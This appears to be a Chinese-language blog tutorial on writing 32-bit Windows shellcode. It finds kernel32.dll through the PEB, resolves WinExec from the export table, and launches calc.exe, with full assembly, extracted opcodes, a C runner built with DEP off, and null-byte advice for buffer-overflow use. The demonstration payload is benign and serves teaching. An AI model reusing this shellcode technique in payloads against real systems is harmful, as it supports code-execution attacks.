跳至正文
大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • 网络安全与渗透
    • 漏洞与安全研究
    • 逆向与底层技术
    • 工具与软件
  • AI与自动化
  • 运维与服务器
  • 网络与科学上网
  • 🛒大神商城
  • ✨ 项目展示
  • 行业动态与资讯
  • 👋 关于我
  • 资源与学习
  • 首页
  • 网络安全与渗透
    • 漏洞与安全研究
    • 逆向与底层技术
    • 工具与软件
  • AI与自动化
  • 运维与服务器
  • 网络与科学上网
  • 🛒大神商城
  • ✨ 项目展示
  • 行业动态与资讯
  • 👋 关于我
  • 资源与学习
关

搜索

大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • 网络安全与渗透
    • 漏洞与安全研究
    • 逆向与底层技术
    • 工具与软件
  • AI与自动化
  • 运维与服务器
  • 网络与科学上网
  • 🛒大神商城
  • ✨ 项目展示
  • 行业动态与资讯
  • 👋 关于我
  • 资源与学习
  • 首页
  • 网络安全与渗透
    • 漏洞与安全研究
    • 逆向与底层技术
    • 工具与软件
  • AI与自动化
  • 运维与服务器
  • 网络与科学上网
  • 🛒大神商城
  • ✨ 项目展示
  • 行业动态与资讯
  • 👋 关于我
  • 资源与学习
关

搜索

家/网络安全与渗透/Windows shellcode 脚本编写基础
网络安全与渗透

Windows shellcode 脚本编写基础

作者 大神K
2026年4月18日 13 分钟阅读
0

介绍


本教程适用于 shellcode。Windows shellcode 比 Linux 的 shellcode 难编写得多,您将了解原因。首先,我们需要对 Windows 架构有一个基本的了解,如下所示。好好看看它。分隔线上方的所有内容都处于用户模式,下方的所有内容都处于内核模式。 x86 32bit

windows_architecture
图片来源: https://blogs.msdn.microsoft.com/hanybarakat/2007/02/25/deeper-into-windows-architecture/

与 Linux 不同,在 Windows 中,应用程序无法直接访问系统调用。相反,它们使用 中的 函数,这些函数在内部调用 中的 函数,而 又使用 系统调用。这些函数是未记录的,在 User mode 代码的最低抽象级别中实现,而且从上图中可以看出。 Windows API (WinAPI) Native API (NtAPI) Native API ntdll.dll

记录的函数存储在 、 和其他函数中。基本服务(如使用文件系统、进程、设备等)由 提供。 Windows API kernel32.dll advapi32.dll gdi32.dll kernel32.dll

因此,要为 Windows 编写 shellcode,我们需要使用 或 中的函数。但是我们该怎么做呢? WinAPI NtAPI

ntdll.dll 并且它们非常重要,以至于每个进程都会导入它们。 kernel32.dll

为了演示这一点,我使用了 sysinternals 套件 中的 ListDlls 工具。

explorer.exe 加载的前四个 DLL:
loaded_dlls1

notepad.exe 加载的前四个 DLL:
loaded_dlls2

我还编写了一个小汇编程序,它什么都不做(无限空循环),它有 3 个加载的 DLL:
loaded_dlls3

请注意 DLL 的基址。它们在各个进程中是相同的,因为它们在内存中只加载一次,然后由另一个进程(如果需要)使用 pointer/handle 引用。这样做是为了保留内存。但是,这些地址因计算机和重启而异。

这意味着 shellcode 必须找到我们要查找的 DLL 在内存中的位置。然后 shellcode 必须找到我们将要使用的导出函数的地址。

我要编写的 shellcode 将很简单,它的唯一功能是执行.为了实现这一点,我将使用 WinExec 函数,该函数只有两个参数,由.calc.exe kernel32.dll

查找 DLL 基址


线程环境块 (TEB) 是每个线程唯一的结构,驻留在内存中并保存有关线程的信息。的地址保存在 段寄存器 中。 TEB FS

的字段之一是指向 进程环境块 (PEB) 结构的指针,该结构包含有关进程的信息。指向的指针是 开始后的字节数。 TEB PEB 0x30 TEB

0x0C 字节,则包含指向 PEB_LDR_DATA 结构的指针,该结构提供有关加载的 DLL 的信息。它有指向三个双向链表的指针,其中两个对我们的目的特别有趣。其中一个列表是按初始化顺序保存 DLL,另一个列表是按它们在内存中出现的顺序保存 DLL。指向后者的指针存储在 structure 开头的 bytes 处。DLL 的基址是其列表条目连接下方存储的字节。 PEB InInitializationOrderModuleList InMemoryOrderModuleList 0x14 PEB_LDR_DATA 0x10

在 Vista 之前的 Windows 版本中,前两个 DLL 是 和 ,但对于 Vista 及更高版本,第二个 DLL 更改为 。 InInitializationOrderModuleList ntdll.dll kernel32.dll kernelbase.dll

中的第二个和第三个 DLL 是 和 。这适用于所有 Windows 版本(在撰写本文时),并且是首选方法,因为它更具可移植性。 InMemoryOrderModuleList ntdll.dll kernel32.dll

因此,要找到 的地址,我们必须遍历多个内存结构。执行此作的步骤如下: kernel32.dll

  1. 获取 的地址 PEB fs:0x30
  2. 获取 (offset 的地址 PEB_LDR_DATA 0x0C)
  3. 获取 (offset InMemoryOrderModuleList 0x14)
  4. 获取 (offset 中第二个 () 列表条目的地址 ntdll.dll InMemoryOrderModuleList 0x00)
  5. 获取 (offset 中第三个 () 列表条目的地址 kernel32.dll InMemoryOrderModuleList 0x00)
  6. 获取 (offset 的基址 kernel32.dll 0x10)

执行此作的程序集是:

mov ebx, fs:0x30    ; Get pointer to PEB
mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList
mov ebx, [ebx]        ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx]        ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx + 0x10] ; Get kernel32.dll base address

他们说一张图片胜过千言万语,所以我制作了一张图片来说明这个过程。在新选项卡中打开它,缩放并仔细查看。

locate_dll

如果一张图片胜过千言万语,那么一部动画就胜过 (Number_of_frames * 1000) 个字。

locate_dll1

locate_dll2

在学习 Windows shellcode(以及一般的汇编)时, WinREPL 对于在每个汇编指令之后查看结果非常有用。

locate_dll3

查找函数地址


现在我们有了 的基址 ,是时候查找函数的地址了。为此,我们需要遍历 DLL 的多个标头。您应该熟悉 PE 可执行文件的格式。试用 PEView 并查看一些 很棒的文件格式插图 。 kernel32.dll WinExec

相对虚拟地址 (RVA) 是相对于 PE 可执行文件的基址的地址,当 PE 可执行文件加载到内存中时 (RVA 不等于可执行文件位于磁盘上的文件偏移量!

在 PE 格式中,在字节的恒定 RVA 处存储 的 RVA 等于 。
字节后是 的 RVA。
字节的开头存储了 DLL 导出的函数数。 字节的开头存储 的 RVA ,其中包含函数地址。
字节的开头存储 的 RVA ,其中包含指向函数名称(字符串)的指针。
字节的 ,该 RVA 的 ,该 RVA 保存函数在 中的位置。 0x3C PE signature 0x5045 0x78 PE signature Export Table 0x14 Export Table 0x1C Export Table Address Table 0x20 Export Table Name Pointer Table 0x24 Export Table Ordinal Table Address Table

因此,要找到,我们必须: WinExec

  1. 查找 (基址 + 字节) 的 RVA PE signature 0x3C
  2. 找到 (基址 + RVA 的 PE signature PE signature)
  3. 查找 (地址 + 字节) 的 RVA Export Table PE signature 0x78
  4. 找到 (基址 + RVA 的 Export Table Export Table)
  5. 查找导出的函数的数量(地址 + 字节) Export Table 0x14
  6. 查找 (地址 的 Address Table Export Table + 0x1C)
  7. 找到 (基址 + RVA 的 Address Table Address Table)
  8. 查找 (地址 + 字节) 的 RVA Name Pointer Table Export Table 0x20
  9. 找到 (基址 + RVA 的 Name Pointer Table Name Pointer Table)
  10. 查找 (地址 + 字节) 的 RVA Ordinal Table Export Table 0x24
  11. 找到 (基址 + RVA 的 Ordinal Table Ordinal Table)
  12. 遍历 ,将每个字符串 (name) 与 进行比较并保留位置的计数。 Name Pointer Table WinExec
  13. 从 (address of + (position * 2) bytes) 中找到序号。中的每个条目为 2 字节。 WinExec Ordinal Table Ordinal Table Ordinal Table
  14. 从 (地址 + (ordinal_number * 4) 字节) 中找到函数 RVA。中的每个条目都是 4 字节。 Address Table Address Table Address Table
  15. 查找函数地址(基址 + 函数 RVA)

我怀疑有人理解这一点,所以我又做了一些动画。

locate_function1

来自 PEView 以使其更加清晰。

locate_function2

执行此作的程序集是:

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 18h             ; Allocate memory on stack for local variables

; push the function name on the stack
xor esi, esi
push esi            ; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp         ; var4 = "WinExec\x00"

; Find kernel32.dll base address
mov ebx, fs:0x30
mov ebx, [ebx + 0x0C] 
mov ebx, [ebx + 0x14] 
mov ebx, [ebx]    
mov ebx, [ebx]    
mov ebx, [ebx + 0x10]        ; ebx holds kernel32.dll base address
mov [ebp-8], ebx         ; var8 = kernel32.dll base address

; Find WinExec address
mov eax, [ebx + 3Ch]        ; RVA of PE signature
add eax, ebx               ; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h]        ; RVA of Export Table
add eax, ebx             ; Address of Export Table

mov ecx, [eax + 24h]        ; RVA of Ordinal Table
add ecx, ebx             ; Address of Ordinal Table
mov [ebp-0Ch], ecx         ; var12 = Address of Ordinal Table

mov edi, [eax + 20h]         ; RVA of Name Pointer Table
add edi, ebx             ; Address of Name Pointer Table
mov [ebp-10h], edi         ; var16 = Address of Name Pointer Table

mov edx, [eax + 1Ch]         ; RVA of Address Table
add edx, ebx             ; Address of Address Table
mov [ebp-14h], edx         ; var20 = Address of Address Table

mov edx, [eax + 14h]         ; Number of exported functions

xor eax, eax             ; counter = 0

.loop:
        mov edi, [ebp-10h]     ; edi = var16 = Address of Name Pointer Table
        mov esi, [ebp-4]     ; esi = var4 = "WinExec\x00"
        xor ecx, ecx

        cld              ; set DF=0 => process strings from left to right
        mov edi, [edi + eax*4]    ; Entries in Name Pointer Table are 4 bytes long
                    ; edi = RVA Nth entry = Address of Name Table * 4
        add edi, ebx           ; edi = address of string = base address + RVA Nth entry
        add cx, 8         ; Length of strings to compare (len('WinExec') = 8)
        repe cmpsb            ; Compare the first 8 bytes of strings in 
                    ; esi and edi registers. ZF=1 if equal, ZF=0 if not
        jz start.found

        inc eax         ; counter++
        cmp eax, edx        ; check if last function is reached
        jb start.loop         ; if not the last -> loop

        add esp, 26h              
        jmp start.end         ; if function is not found, jump to end

.found:
    ; the counter (eax) now holds the position of WinExec

        mov ecx, [ebp-0Ch]    ; ecx = var12 = Address of Ordinal Table
        mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table

        mov ax, [ecx + eax*2]     ; ax = ordinal number = var12 + (counter * 2)
        mov eax, [edx + eax*4]     ; eax = RVA of function = var20 + (ordinal * 4)
        add eax, ebx         ; eax = address of WinExec = 
                    ; = kernel32.dll base address + RVA of WinExec

.end:
    add esp, 26h        ; clear the stack
    pop ebp
    ret

调用函数


剩下的就是使用适当的参数进行调用: WinExec

xor edx, edx
push edx        ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp   ; esi -> "C:\Windows\System32\calc.exe"

push 10  ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec

编写 shellcode


现在,您已经熟悉了 Windows shellcode 的基本原理,是时候编写它了。它与我已经展示的代码片段没有太大区别,只是必须将它们粘合在一起,但有细微的差异以避免空字节。我使用 flat assembler 来测试我的代码。

该指令包含 3 个 null 字节。避免这种情况的一种方法是将其编写为: mov ebx, fs:0x30

xor esi, esi    ; esi = 0
mov ebx, [fs:30h + esi]

null_bytes

shellcode 的整个程序集如下:

format PE console
use32
entry start

  start:
        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

    ; Establish a new stack frame
    push ebp
    mov ebp, esp

    sub esp, 18h             ; Allocate memory on stack for local variables

    ; push the function name on the stack
    xor esi, esi
    push esi            ; null termination
    push 63h
    pushw 6578h
    push 456e6957h
    mov [ebp-4], esp         ; var4 = "WinExec\x00"

    ; Find kernel32.dll base address
    xor esi, esi            ; esi = 0
        mov ebx, [fs:30h + esi]      ; written this way to avoid null bytes
    mov ebx, [ebx + 0x0C] 
    mov ebx, [ebx + 0x14] 
    mov ebx, [ebx]    
    mov ebx, [ebx]    
    mov ebx, [ebx + 0x10]        ; ebx holds kernel32.dll base address
    mov [ebp-8], ebx         ; var8 = kernel32.dll base address

    ; Find WinExec address
    mov eax, [ebx + 3Ch]        ; RVA of PE signature
    add eax, ebx               ; Address of PE signature = base address + RVA of PE signature
    mov eax, [eax + 78h]        ; RVA of Export Table
    add eax, ebx             ; Address of Export Table

    mov ecx, [eax + 24h]        ; RVA of Ordinal Table
    add ecx, ebx             ; Address of Ordinal Table
    mov [ebp-0Ch], ecx         ; var12 = Address of Ordinal Table

    mov edi, [eax + 20h]         ; RVA of Name Pointer Table
    add edi, ebx             ; Address of Name Pointer Table
    mov [ebp-10h], edi         ; var16 = Address of Name Pointer Table

    mov edx, [eax + 1Ch]         ; RVA of Address Table
    add edx, ebx             ; Address of Address Table
    mov [ebp-14h], edx         ; var20 = Address of Address Table

    mov edx, [eax + 14h]         ; Number of exported functions

    xor eax, eax             ; counter = 0

    .loop:
            mov edi, [ebp-10h]     ; edi = var16 = Address of Name Pointer Table
            mov esi, [ebp-4]     ; esi = var4 = "WinExec\x00"
            xor ecx, ecx

            cld              ; set DF=0 => process strings from left to right
            mov edi, [edi + eax*4]    ; Entries in Name Pointer Table are 4 bytes long
                        ; edi = RVA Nth entry = Address of Name Table * 4
            add edi, ebx           ; edi = address of string = base address + RVA Nth entry
            add cx, 8         ; Length of strings to compare (len('WinExec') = 8)
            repe cmpsb            ; Compare the first 8 bytes of strings in 
                        ; esi and edi registers. ZF=1 if equal, ZF=0 if not
            jz start.found

            inc eax         ; counter++
            cmp eax, edx        ; check if last function is reached
            jb start.loop         ; if not the last -> loop

            add esp, 26h              
            jmp start.end         ; if function is not found, jump to end

    .found:
        ; the counter (eax) now holds the position of WinExec

            mov ecx, [ebp-0Ch]    ; ecx = var12 = Address of Ordinal Table
            mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table

            mov ax, [ecx + eax*2]     ; ax = ordinal number = var12 + (counter * 2)
            mov eax, [edx + eax*4]     ; eax = RVA of function = var20 + (ordinal * 4)
            add eax, ebx         ; eax = address of WinExec = 
                        ; = kernel32.dll base address + RVA of WinExec

            xor edx, edx
        push edx        ; null termination
        push 6578652eh
        push 636c6163h
        push 5c32336dh
        push 65747379h
        push 535c7377h
        push 6f646e69h
        push 575c3a43h
        mov esi, esp        ; esi -> "C:\Windows\System32\calc.exe"

        push 10          ; window state SW_SHOWDEFAULT
        push esi         ; "C:\Windows\System32\calc.exe"
        call eax         ; WinExec

        add esp, 46h        ; clear the stack

    .end:
        
        pop ebp         ; restore all registers and exit
        pop edi
        pop esi
        pop edx
        pop ecx
        pop ebx
        pop eax
        ret

我在 IDA 中打开了它,以向您展示更好的可视化效果。IDA 中显示的那个并没有保存所有的寄存器,我后来添加了这个,但懒得制作新的屏幕截图。

ida01
ida02
ida03

使用 fasm 编译,然后反编译并提取作码。我们很幸运,没有 null 字节。

objdump -d -M intel shellcode.exe
401000:       50                      push   eax
  401001:       53                      push   ebx
  401002:       51                      push   ecx
  401003:       52                      push   edx
  401004:       56                      push   esi
  401005:       57                      push   edi
  401006:       55                      push   ebp
  401007:       89 e5                   mov    ebp,esp
  401009:       83 ec 18                sub    esp,0x18
  40100c:       31 f6                   xor    esi,esi
  40100e:       56                      push   esi
  40100f:       6a 63                   push   0x63
  401011:       66 68 78 65             pushw  0x6578
  401015:       68 57 69 6e 45          push   0x456e6957
  40101a:       89 65 fc                mov    DWORD PTR [ebp-0x4],esp
  40101d:       31 f6                   xor    esi,esi
  40101f:       64 8b 5e 30             mov    ebx,DWORD PTR fs:[esi+0x30]
  401023:       8b 5b 0c                mov    ebx,DWORD PTR [ebx+0xc]
  401026:       8b 5b 14                mov    ebx,DWORD PTR [ebx+0x14]
  401029:       8b 1b                   mov    ebx,DWORD PTR [ebx]
  40102b:       8b 1b                   mov    ebx,DWORD PTR [ebx]
  40102d:       8b 5b 10                mov    ebx,DWORD PTR [ebx+0x10]
  401030:       89 5d f8                mov    DWORD PTR [ebp-0x8],ebx
  401033:       31 c0                   xor    eax,eax
  401035:       8b 43 3c                mov    eax,DWORD PTR [ebx+0x3c]
  401038:       01 d8                   add    eax,ebx
  40103a:       8b 40 78                mov    eax,DWORD PTR [eax+0x78]
  40103d:       01 d8                   add    eax,ebx
  40103f:       8b 48 24                mov    ecx,DWORD PTR [eax+0x24]
  401042:       01 d9                   add    ecx,ebx
  401044:       89 4d f4                mov    DWORD PTR [ebp-0xc],ecx
  401047:       8b 78 20                mov    edi,DWORD PTR [eax+0x20]
  40104a:       01 df                   add    edi,ebx
  40104c:       89 7d f0                mov    DWORD PTR [ebp-0x10],edi
  40104f:       8b 50 1c                mov    edx,DWORD PTR [eax+0x1c]
  401052:       01 da                   add    edx,ebx
  401054:       89 55 ec                mov    DWORD PTR [ebp-0x14],edx
  401057:       8b 50 14                mov    edx,DWORD PTR [eax+0x14]
  40105a:       31 c0                   xor    eax,eax
  40105c:       8b 7d f0                mov    edi,DWORD PTR [ebp-0x10]
  40105f:       8b 75 fc                mov    esi,DWORD PTR [ebp-0x4]
  401062:       31 c9                   xor    ecx,ecx
  401064:       fc                      cld
  401065:       8b 3c 87                mov    edi,DWORD PTR [edi+eax*4]
  401068:       01 df                   add    edi,ebx
  40106a:       66 83 c1 08             add    cx,0x8
  40106e:       f3 a6                   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
  401070:       74 0a                   je     0x40107c
  401072:       40                      inc    eax
  401073:       39 d0                   cmp    eax,edx
  401075:       72 e5                   jb     0x40105c
  401077:       83 c4 26                add    esp,0x26
  40107a:       eb 3f                   jmp    0x4010bb
  40107c:       8b 4d f4                mov    ecx,DWORD PTR [ebp-0xc]
  40107f:       8b 55 ec                mov    edx,DWORD PTR [ebp-0x14]
  401082:       66 8b 04 41             mov    ax,WORD PTR [ecx+eax*2]
  401086:       8b 04 82                mov    eax,DWORD PTR [edx+eax*4]
  401089:       01 d8                   add    eax,ebx
  40108b:       31 d2                   xor    edx,edx
  40108d:       52                      push   edx
  40108e:       68 2e 65 78 65          push   0x6578652e
  401093:       68 63 61 6c 63          push   0x636c6163
  401098:       68 6d 33 32 5c          push   0x5c32336d
  40109d:       68 79 73 74 65          push   0x65747379
  4010a2:       68 77 73 5c 53          push   0x535c7377
  4010a7:       68 69 6e 64 6f          push   0x6f646e69
  4010ac:       68 43 3a 5c 57          push   0x575c3a43
  4010b1:       89 e6                   mov    esi,esp
  4010b3:       6a 0a                   push   0xa
  4010b5:       56                      push   esi
  4010b6:       ff d0                   call   eax
  4010b8:       83 c4 46                add    esp,0x46
  4010bb:       5d                      pop    ebp
  4010bc:       5f                      pop    edi
  4010bd:       5e                      pop    esi
  4010be:       5a                      pop    edx
  4010bf:       59                      pop    ecx
  4010c0:       5b                      pop    ebx
  4010c1:       58                      pop    eax
  4010c2:       c3                      ret

当我开始学习 shellcode 编写时,让我感到困惑的一件事是,在反汇编的输出中,跳转指令使用绝对地址(例如查看地址 :),这让我思考这到底是如何工作的?地址在不同进程和不同系统之间会有所不同,并且 shellcode 将跳转到硬编码地址处的任意代码。那绝对不是便携式的!不过,事实证明,为了方便起见,反汇编的输出使用绝对地址,而实际上指令使用相对地址。 401070 je 0x40107c

再看一下地址 () 处的指令,作码是 ,其中 是 的作码,是作数(它不是一个地址!寄存器将指向 address 处的下一条指令,将 jump 的作数添加到其中,这是反汇编器显示的地址。因此,有证据表明这些指令使用相对寻址,并且 shellcode 将是可移植的。 401070 je 0x40107c 74 0a 74 je 0a EIP 401072 401072 + 0a = 40107c

最后是提取的作码:

50 53 51 52 56 57 55 89 e5 83 ec 18 31 f6 56 6a 63 66 68 78 65 68 57 69 6e 45 89 65 fc 31 f6 64 8b 5e 30 8b 5b 0c 8b 5b 14 8b 1b 8b 1b 8b 5b 10 89 5d f8 31 c0 8b 43 3c 01 d8 8b 40 78 01 d8 8b 48 24 01 d9 89 4d f4 8b 78 20 01 df 89 7d f0 8b 50 1c 01 da 89 55 ec 8b 50 14 31 c0 8b 7d f0 8b 75 fc 31 c9 fc 8b 3c 87 01 df 66 83 c1 08 f3 a6 74 0a 40 39 d0 72 e5 83 c4 26 eb 3f 8b 4d f4 8b 55 ec 66 8b 04 41 8b 04 82 01 d8 31 d2 52 68 2e 65 78 65 68 63 61 6c 63 68 6d 33 32 5c 68 79 73 74 65 68 77 73 5c 53 68 69 6e 64 6f 68 43 3a 5c 57 89 e6 6a 0a 56 ff d0 83 c4 46 5d 5f 5e 5a 59 5b 58 c3

长度(字节):

>>> len(shellcode)
200

它比我编写的 Linux shellcode 大得多。

测试 shellcode


最后一步是测试它是否有效。您可以使用简单的 C 程序来执行此作。

#include <stdio.h>

unsigned char sc[] =     "\x50\x53\x51\x52\x56\x57\x55\x89"
            "\xe5\x83\xec\x18\x31\xf6\x56\x6a"
            "\x63\x66\x68\x78\x65\x68\x57\x69"
            "\x6e\x45\x89\x65\xfc\x31\xf6\x64"
            "\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
            "\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
            "\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
            "\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
            "\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
            "\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
            "\x50\x1c\x01\xda\x89\x55\xec\x8b"
            "\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
            "\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
            "\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
            "\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
            "\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
            "\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
            "\x8b\x04\x41\x8b\x04\x82\x01\xd8"
            "\x31\xd2\x52\x68\x2e\x65\x78\x65"
            "\x68\x63\x61\x6c\x63\x68\x6d\x33"
            "\x32\x5c\x68\x79\x73\x74\x65\x68"
            "\x77\x73\x5c\x53\x68\x69\x6e\x64"
            "\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
            "\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
            "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";

int main()
{
    ((void(*)())sc)();
    return 0;
}

要在 Visual Studio 中成功运行它,您必须在禁用某些保护的情况下编译它:
安全检查:
数据执行保护 (DEP): Disabled (/GS-) No

证明它:)
test_calc

编辑0x00:


其中一位评论者 告诉我我的 shellcode 中的一个错误。如果您在 Windows 10 以外的作系统上运行它,您会注意到它无法正常工作。这是一个很好的机会,可以挑战自己,尝试通过调试 shellcode 和 google 什么可能导致这种行为来自己修复它。这是一个有趣的问题:) Nathu

如果您无法修复(或不想修复),您可以在下面找到正确的 shellcode 和错误的原因……

解释:
根据编译器选项,程序可能会将堆栈对齐到 2、4 或更多字节边界(应为 2 的幂)。此外,某些函数可能希望堆栈以某种方式对齐。

对齐是出于优化原因,您可以在此处阅读有关它的详细说明: Stack Alignment 。

如果您尝试调试 shellcode,您可能已经注意到问题出在返回错误代码的函数上,尽管它应该可以访问 ! WinExec ERROR_NOACCESS calc.exe

如果您阅读此 msdn 文章 ,您将看到以下内容:

Visual C++ generally aligns data on natural boundaries based on the target processor and the size of the data, up to 4-byte boundaries on 32-bit processors, and 8-byte boundaries on 64-bit processors.

我假设构建系统 DLL 时使用了相同的对齐设置。

因为我们正在执行体系结构代码,所以该函数可能希望堆栈对齐到 。这意味着变量将保存在 的地址 ,而变量将保存在 的地址。例如,以两个变量 – 和 in size 为例。如果变量位于某个地址,则该变量将被放置在 address 中。这意味着变量后面有。这也是为什么有时堆栈上为局部变量分配的内存大于所需内存的原因。 32bit WinExec 4-byte boundary 2-byte multiple of 2 4-byte multiple of 4 2 byte 4 byte 2 byte 0x0004 4 byte 0x0008 2 bytes padding 2 byte

下面显示的部分(字符串被推到堆栈上)会弄乱对齐,从而导致失败。 'WinExec' WinExec

; push the function name on the stack
xor esi, esi
push esi        ; null termination
push 63h
pushw 6578h        ;  THIS PUSH MESSED THE ALIGNMENT
push 456e6957h
mov [ebp-4], esp     ; var4 = "WinExec\x00"

要修复它,请将程序集的该部分更改为:

; push the function name on the stack
xor esi, esi        ; null termination
push esi                        
push 636578h        ; NOW THE STACK SHOULD BE ALLIGNED PROPERLY
push 456e6957h
mov [ebp-4], esp    ; var4 = "WinExec\x00"

它在 Windows 10 上运行的原因可能是因为 WinExec 不再需要对齐堆栈。

下面您可以看到所示的堆栈对齐问题:
align01

使用 fix 后,堆栈将对齐到 4 个字节:
align02

编辑0x01:


尽管它在编译的二进制文件中使用时有效,但之前的更改会产生 null 字节,这在用于利用缓冲区溢出时是一个问题。空字节是由汇编到 的指令引起的。 push 636578h 68 78 65 63 00

以下版本应该可以工作,并且不应产生 null 字节:

xor esi, esi
pushw si    ; Pushes only 2 bytes, thus changing the stack alignment to 2-byte boundary
push 63h
pushw 6578h    ; Pushing another 2 bytes returns the stack to 4-byte alignment
push 456e6957h
mov [ebp-4], esp ; edx -> "WinExec\x00"

资源


对于 , , 等结构的图片,我查阅了几个资源,因为 MSDN 的官方文档要么不存在,要么不完整,要么完全错误。我主要使用 ntinternals ,但我被在此之前找到的其他一些资源弄糊涂了。我甚至会列出错误的资源,这样如果你偶然发现了它们,你就不会感到困惑(就像我所做的那样)。 TEB PEB

[0x00] Windows 体系结构: https://blogs.msdn.microsoft.com/hanybarakat/2007/02/25/deeper-into-windows-architecture/

[0x01] WinExec 功能: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687393.aspx

[0x02] TEB 说明: https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

[0x03] PEB 说明: https://en.wikipedia.org/wiki/Process_Environment_Block

[0x04] 我从这个博客中获得了灵感,它有很好的插图,但使用了 InInitializationOrderModuleList 的旧技术(它仍然适用于 ntdll.dll,但不适用于 kernel32.dll)
http://blog.the-playground.dk/2012/06/understanding-windows-shellcode.html

[0x05] 我从这里获取的 TEB、PEB、PEB_LDR_DATA 和 LDR_MODULE 的信息(它们实际上与资源0x04中使用的信息相同,但最好:)进行事实核查)。
https://undocumented.ntinternals.net/

[0x06] TEB 结构
的另一个 正确资源 https://www.nirsoft.net/kernel_struct/vista/TEB.html

[0x07] PEB 结构。这是正确的,尽管某些字段显示为 Reserved,这就是我使用 resource 0x05 的原因(它列出了它们的名称)。
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706.aspx

[0x08] PEB 结构的另一个资源。这个是错误的。如果将字节偏移量计算为 PPEB_LDR_DATA,则它远大于 12 (0x0C) 字节。
https://www.nirsoft.net/kernel_struct/vista/PEB.html

[0x09] PEB_LDR_DATA结构。它来自官方文档,显然是错误的。缺少指向其他两个链表的指针。
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708.aspx

[0x0a] PEB_LDR_DATA结构。也是错的。UCHAR 是 1 个字节,计算到链表的字节偏移量会产生错误的偏移量。
https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html

[0x0b] 介绍了查找 kernel32.dll 地址
的 “新”和可移植方法 http://blog.harmonysecurity.com/2009_06_01_archive.html

[0x0c] Windows Internals 书籍,第 6 版

📌 版权声明

文章作者:大神K

原文链接:https://dashenk.com/2026/04/18/basics-of-windows-shellcode-writing/

版权说明:本文为原创内容,转载请注明出处。

标签:

shellcodeWindows原理讲解脚本
作者

大神K

我是一个长期在技术与赚钱之间反复横跳的人。 做过网站、搞过SEO、写过程序,也踩过币圈的坑。 现在在做的事情很简单: 用 AI + 技术,把复杂的事情变简单,把一个人变成一支队伍。 这个网站,不是教程站,而是我的「操作记录」。 一个站长如何做 SEO 和流量 一个开发者如何用 AI 提高效率 一个交易者如何系统性构建赚钱模型 只讲能落地的方案,分享: 真实经验 + 踩过的坑 在这个时代,一个人,也可以是一家公司。

关注我
其他文章
上一个

15款扫描工具

下一个

Chrome / Edge 越用越卡?关闭这7个隐藏设置,速度直接翻倍!(2026实测)

暂无评论!成为第一个。

发表回复 取消回复

您的邮箱地址不会被公开。 必填项已用 * 标注

Agent AI写作 AI利用 AI变现 AI大模型 AI工具 AI设计 ChatGPT Claude Cloudflare CVE Epusdt Gemma4 GEO技术 GPT Hermes Image-2 MacOS系统 OpenClaw POC Qwen RackNerd Skills Windows WordPress 下载利器 信息收集 免费工具 免费模型 大龙虾 安卓工具 工具使用 工具利用 开源免费 教程 智能体 本地运行 漏洞 爬虫工具 社工库 网络安全 自媒体工具 谷歌 资源下载 音乐工具

近期文章

  • 🧵【2026 搞钱必备】一张中国身份证,搞定 Wise 国际账户 + Stripe 收款!💸
  • 兄弟们,这个网站绝对牛逼,之前在QQ音乐听歌还得花钱,这回不用了!
  • 男人30岁后,睾固酮每年下降 1%
  • 提升视频质感,送你一份AI视频导演skill
  • 一文速通AI图片提示词(附3个我每天都在用的工具)
广告 × 广告
广告 × 广告
广告 × 广告
大神K
🚀 AI工具|建站教程|副业变现
用技术改变收入结构
免费获取AI工具合集 →
© 2026 大神K · AI Tools & Growth System